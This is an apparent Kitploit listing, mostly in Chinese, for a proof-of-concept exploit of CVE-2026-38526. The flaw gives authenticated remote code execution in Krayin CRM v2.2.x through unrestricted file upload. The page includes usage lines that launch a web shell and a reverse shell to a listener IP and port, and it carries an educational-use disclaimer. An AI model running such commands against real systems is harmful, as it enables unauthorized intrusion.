CVE-2026-38526 — Proof-of-concept exploit for authenticated remote code execution in Krayin CRM v2.2.x via unrestricted file upload, supporting web shell and reverse shell payloads. | Kitploit

CVE-2026-38526 - Krayin CRM RCE

描述

针对 Krayin CRM v2.2.x 关键漏洞的 PoC 脚本，通过不受限制的文件上传实现经过认证的 RCE。

用法

# Web shell
python3 exploit.py -u http://target.com -e [email protected] -p password123

# Reverse shell
python3 exploit.py -u http://target.com -e [email protected] -p password123 -l 10.10.10.10 -P 4444

要求

Python 3.8+
requests, bs4

免责声明

仅供教育用途。

参考

https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2026-38526/poc.md

下载工具

CVE-2026-38526

最受欢迎

CVE-2026-38526 - Krayin CRM RCE

描述

用法

要求

免责声明

参考